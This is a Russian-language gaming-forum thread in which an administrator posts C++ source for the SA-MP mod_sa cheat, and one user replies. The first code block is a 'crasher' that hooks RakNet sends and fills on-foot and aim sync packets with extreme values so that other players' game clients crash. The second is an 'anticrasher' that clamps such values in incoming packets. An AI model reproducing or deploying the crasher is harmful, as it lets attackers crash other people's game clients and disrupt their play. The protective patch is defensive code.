mod_sa 4.3.3.0+: Crasher & Anticrasher source

Статус
В этой теме нельзя размещать новые ответы.

FYP

Известный
Автор темы
Администратор
1,757
5,684
данный крашер работает только с хуком ракнета из собейта версии не ниже 4.3.3.0, но без хука можно обойтись, добавив самостоятельно отправку пакета, вместо подменны данных в пакете.
код крашера:
Код:
void CheatReplaceOnfootData ( struct stOnFootData *ofSync )
{
    if ( g.use_new_crasher )
    {
        ofSync->sKeys = 128;
        ofSync->byteCurrentWeapon = 0;
    }
}
 
void CheatReplaceAimData ( struct stAimData *aimSync )
{
if ( g.use_new_crasher )
{
    aimSync->vecAimf1[0] = (float)0x7FFFFFFF;
    aimSync->vecAimPos[0] = (float)0x7FFFFFFF;
}
}
 
// в HookedRakClient.cpp в функцию bool Send( BitStream * bitStream, PacketPriority priority, PacketReliability reliability, char orderingChannel )
if ( packetId == ID_PLAYER_SYNC )
CheatReplaceOnfootData( (stOnFootData *)( bitStream->GetData() + 1 ) );
if ( packetId == ID_AIM_SYNC )
CheatReplaceAimData( (stAimData *)( bitStream->GetData() + 1 ) );

код антикрашера:
Код:
// в samp.cpp
#define FUNC_PACKET_AIM_SYNC 0x87A0
void __stdcall HookPacketAimData( Packet *packet )
{
BitStream bs( (unsigned char *)packet->data, packet->length, false );
PLAYERID playerId;
stAimData sync;
 
bs.IgnoreBits( 8 ); // packet id
bs.Read( playerId );
bs.Read( (char *)&sync, sizeof( sync ) );
bool isUse = false;
float pos[3] = { 0, 0, 0 };
int isok = getPlayerPos( playerId, pos );
 
if ( isok && vect3_dist( pos, sync.vecAimPos ) > 500.0f )
{
vect3_mult( sync.vecAimPos, 0.0f, sync.vecAimPos );
isUse = true;
}
for ( int i = 0; i < 3; i++ )
{
if ( sync.vecAimf1[i] < -9.9f || sync.vecAimf1[i] > 9.9f )
{
sync.vecAimf1[i] = 0.0f;
isUse = true;
}
}
if ( isUse )
{
BitStream bs1;
bs1.Write( (byte)ID_AIM_SYNC );
bs1.Write( playerId );
bs1.Write( (char *)&sync, sizeof( sync ) );
memcpy( packet->data, bs1.GetData(), packet->length );
}
return ( ( void ( __thiscall * )( stSAMP *, Packet * ) )( g_dwSAMP_Addr + FUNC_PACKET_AIM_SYNC ) )( g_SAMP, packet );
}
#define SAMP_HOOKENTER_PACKET_AIM_DATA            0x9EB5 // куда-нибудь в samp.cpp
SetupSAMPHook("Packet_AimSync", SAMP_HOOKENTER_PACKET_AIM_DATA, HookPacketAimData, DETOUR_TYPE_CALL_FUNC, 5, ""); // в void installSAMPHooks ()
просто скопировать и вставить всё это дело, конечно, не получится, некоторые вещи придется переделать и привести в порядок.
с вами был FYP, спасибо за внимание.
 

Skel

Потрачен
92
3
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Половина людей не сможет его вшить(лично мое мнение) :D
 
Статус
В этой теме нельзя размещать новые ответы.